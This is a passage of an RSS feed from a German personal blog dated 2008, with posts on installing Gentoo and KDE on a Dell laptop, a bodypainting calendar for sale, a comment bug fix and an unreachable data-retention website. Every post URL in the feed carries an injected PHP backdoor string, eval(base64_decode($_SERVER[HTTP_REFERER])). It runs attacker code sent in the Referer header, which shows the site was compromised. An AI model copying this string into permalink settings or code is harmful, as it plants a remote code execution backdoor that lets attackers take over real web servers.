<p>Es wird sich also sicher noch ein paar Tage hinziehen, bis ich halbwegs zufrieden damit arbeiten kann.</p>
<p>Momentan auf meiner ToDo:<br />
Grafikkarte, Soundkarte, Arbeitsumgebung (Java, Eclipse, Subversion etc), ACPI (Powermanagement), KDE selbst einrichten und konfigurieren, FireFox 3 (hab durch emerge nur FF2 bekommen)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.warrenfaith.de/2008/12/18/kde-41-lauft-oder-auch-nicht/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Gentoo Installation auf dem Dell Vostro 1500</title>
		<link>http://www.warrenfaith.de/2008/12/15/gentoo-installation-auf-dem-dell-vostro-1500/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.warrenfaith.de/2008/12/15/gentoo-installation-auf-dem-dell-vostro-1500/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 15 Dec 2008 22:04:54 +0000</pubDate>
		<dc:creator>WarrenFaith</dc:creator>
		
		<category><![CDATA[Gentoo]]></category>

		<category><![CDATA[Software]]></category>

		<category><![CDATA[Installation]]></category>

		<category><![CDATA[KDE]]></category>

		<guid isPermaLink="false">http://www.warrenfaith.de/?p=176</guid>
		<description><![CDATA[Ich habe eine Zeit lang mit dem Gedanken gespielt, mir Gentoo auf den Laptop zu installieren. Natürlich nur als Dualsystem mit Windows XP, da ich für die Uni doch noch recht oft Windows brauchen werde.
Nun war es also soweit, ich hab angefangen.
Nachdem ich die Installations-CD gebrannt habe und davon gebootet habe, stellte ich fest, dass [...]]]></description>
			<content:encoded><![CDATA[<p>Ich habe eine Zeit lang mit dem Gedanken gespielt, mir Gentoo auf den Laptop zu installieren. Natürlich nur als Dualsystem mit Windows XP, da ich für die Uni doch noch recht oft Windows brauchen werde.</p>
<p>Nun war es also soweit, ich hab angefangen.</p>
<p>Nachdem ich die Installations-CD gebrannt habe und davon gebootet habe, stellte ich fest, dass er beim erkennen der Festplatten, leider auch mein CD-ROM nicht mehr erkannte. Fazit war, dass natürlich das Installationsmedium selbst damit nicht mehr zur Verfügung stand.<br />
Ein wenig gesucht und schon fand ich den Tipp, einfach die ISO der CD auf einen USB-Stick zu entpacken und schon fand er beim mounten den Stick und die Daten.</p>
<p>Als nächster Schritt kam die Partitionierung der Festplatte an die Reihe. Nach einigem Hin und Her, ich musste jede Partition außer meiner Windows Systemplatte löschen, konnte ich mit der Installation fortfahren.</p>
<p>Alles lief gut, ich brauchte auch nur 3 Versuche um Grub die richtige Linuxpartition zu geben <img src='http://www.warrenfaith.de/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Nun fing das kompilieren von KDE und Co an. Ich hab das natürlich über Nacht laufen lassen und durfte dann am Morgen, wie immer, Fehler finden.<br />
Ich hab also versucht die Fehler zu fixen und dabei dann irgendwie festgestellt, dass ich doch tatsächlich KDE 3.5.9 installiert habe, dabei wollte ich eigentlich mindestens auf KDE 4.1 einsteigen.</p>
<p>Nun gut, hab gesucht und nur irgendwelche How-Tos gefunden, die mindestens fast ein Jahr alt sind. Schien mir also nicht das richtige. Ich ließ dann einfach die KDE auf der 3.5.9 und wollte danach kdm installieren.<br />
Mindestens 20 blockierte Pakete! Das entfernen der Pakete, die blockierten ging nicht, da sie, laut Fehlermeldung, gar nicht installiert waren.<br />
Also wollte ich KDE selbst nochmal entfernen, aber auf der Platte selbst ist es immer noch.</p>
<p>Wenigstens hatte xorg-x11 funktioniert, denn ein startx hat mir eine grafische Oberfläche mit 3 Konsolen gezeigt. Ich hab aber keine Ahnung, welche Oberfläche das war?! XCFE vielleicht?</p>
<p>Nun gut, ich werde morgen erstmal einen mit Gentoo vertrauten Arbeitskollegen fragen. Der wird mir sicherlich Hilfestellung geben können!</p>
<p>Fortsetzung garantiert!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.warrenfaith.de/2008/12/15/gentoo-installation-auf-dem-dell-vostro-1500/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Bodypainting Kalender - Es kann bestellt werden</title>
		<link>http://www.warrenfaith.de/2008/11/18/bodypainting-kalender-es-kann-bestellt-werden/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.warrenfaith.de/2008/11/18/bodypainting-kalender-es-kann-bestellt-werden/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 18 Nov 2008 08:09:46 +0000</pubDate>
		<dc:creator>WarrenFaith</dc:creator>
		
		<category><![CDATA[Eigenes]]></category>

		<category><![CDATA[Soziales]]></category>

		<category><![CDATA[Bestellen]]></category>

		<category><![CDATA[Bodypainting]]></category>

		<category><![CDATA[Kalender]]></category>

		<guid isPermaLink="false">http://www.warrenfaith.de/?p=170</guid>
		<description><![CDATA[Ab sofort und jetzt gleich kann der Bodypainting Kalender für 2009 bestellt werden.
Für 10€ ist der Kalender zu haben. 1,70€ Versandkosten kommen dazu.
Wer mehr als einen bestellt, bekommt individuell berechnete Versandpreise.
Wer flink ist, hat vielleicht sogar schon zum Nikolaus das erste Exemplar in der Hand.
]]></description>
			<content:encoded><![CDATA[<p>Ab sofort und jetzt gleich kann der <a href="http://www.body-painting-kalender.de/bestellen.php" rel="follow">Bodypainting Kalender für 2009 bestellt</a> werden.<br />
Für 10€ ist der Kalender zu haben. 1,70€ Versandkosten kommen dazu.</p>
<p>Wer mehr als einen bestellt, bekommt individuell berechnete Versandpreise.</p>
<p>Wer flink ist, hat vielleicht sogar schon zum Nikolaus das erste Exemplar in der Hand.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.warrenfaith.de/2008/11/18/bodypainting-kalender-es-kann-bestellt-werden/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Bug gefunden</title>
		<link>http://www.warrenfaith.de/2008/10/30/bug-gefunden/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.warrenfaith.de/2008/10/30/bug-gefunden/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 30 Oct 2008 08:07:00 +0000</pubDate>
		<dc:creator>WarrenFaith</dc:creator>
		
		<category><![CDATA[Eigenes]]></category>

		<category><![CDATA[Software]]></category>

		<category><![CDATA[Bug]]></category>

		<category><![CDATA[Kommentar]]></category>

		<guid isPermaLink="false">http://www.warrenfaith.de/?p=166</guid>
		<description><![CDATA[Hm&#8230; mein ausgewähltes Design hat scheinbar arge Probleme mit dem Submit-Button bei den Kommentaren gehabt.
Ich hab das gefixt, ihr könnt also nun wieder kommentieren.
Sorry dafür.
]]></description>
			<content:encoded><![CDATA[<p>Hm&#8230; mein ausgewähltes Design hat scheinbar arge Probleme mit dem Submit-Button bei den Kommentaren gehabt.</p>
<p>Ich hab das gefixt, ihr könnt also nun wieder kommentieren.</p>
<p>Sorry dafür.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.warrenfaith.de/2008/10/30/bug-gefunden/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>PagePeel von Vorratsdatenspeicherung</title>
		<link>http://www.warrenfaith.de/2008/10/29/pagepeel-von-vorratsdatenspeicherung/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.warrenfaith.de/2008/10/29/pagepeel-von-vorratsdatenspeicherung/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 29 Oct 2008 19:51:43 +0000</pubDate>
		<dc:creator>WarrenFaith</dc:creator>
		
		<category><![CDATA[Eigenes]]></category>

		<guid isPermaLink="false">http://www.warrenfaith.de/?p=163</guid>
		<description><![CDATA[Kurz und gut (oder schlecht) Vorratsdatenspeicherung.de ist nicht erreichbar!
Daher hab ich auch mein PagePeel erstmal deaktiviert.
Bin gespannt was golem oder heise dazu morgen melden&#8230;
]]></description>
			<content:encoded><![CDATA[<p>Kurz und gut (oder schlecht) <a href="http://www.vorratsdatenspeicherung.de">Vorratsdatenspeicherung.de</a> ist nicht erreichbar!</p>
<p>Daher hab ich auch mein PagePeel erstmal deaktiviert.</p>
<p>Bin gespannt was golem oder heise dazu morgen melden&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.warrenfaith.de/2008/10/29/pagepeel-von-vorratsdatenspeicherung/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
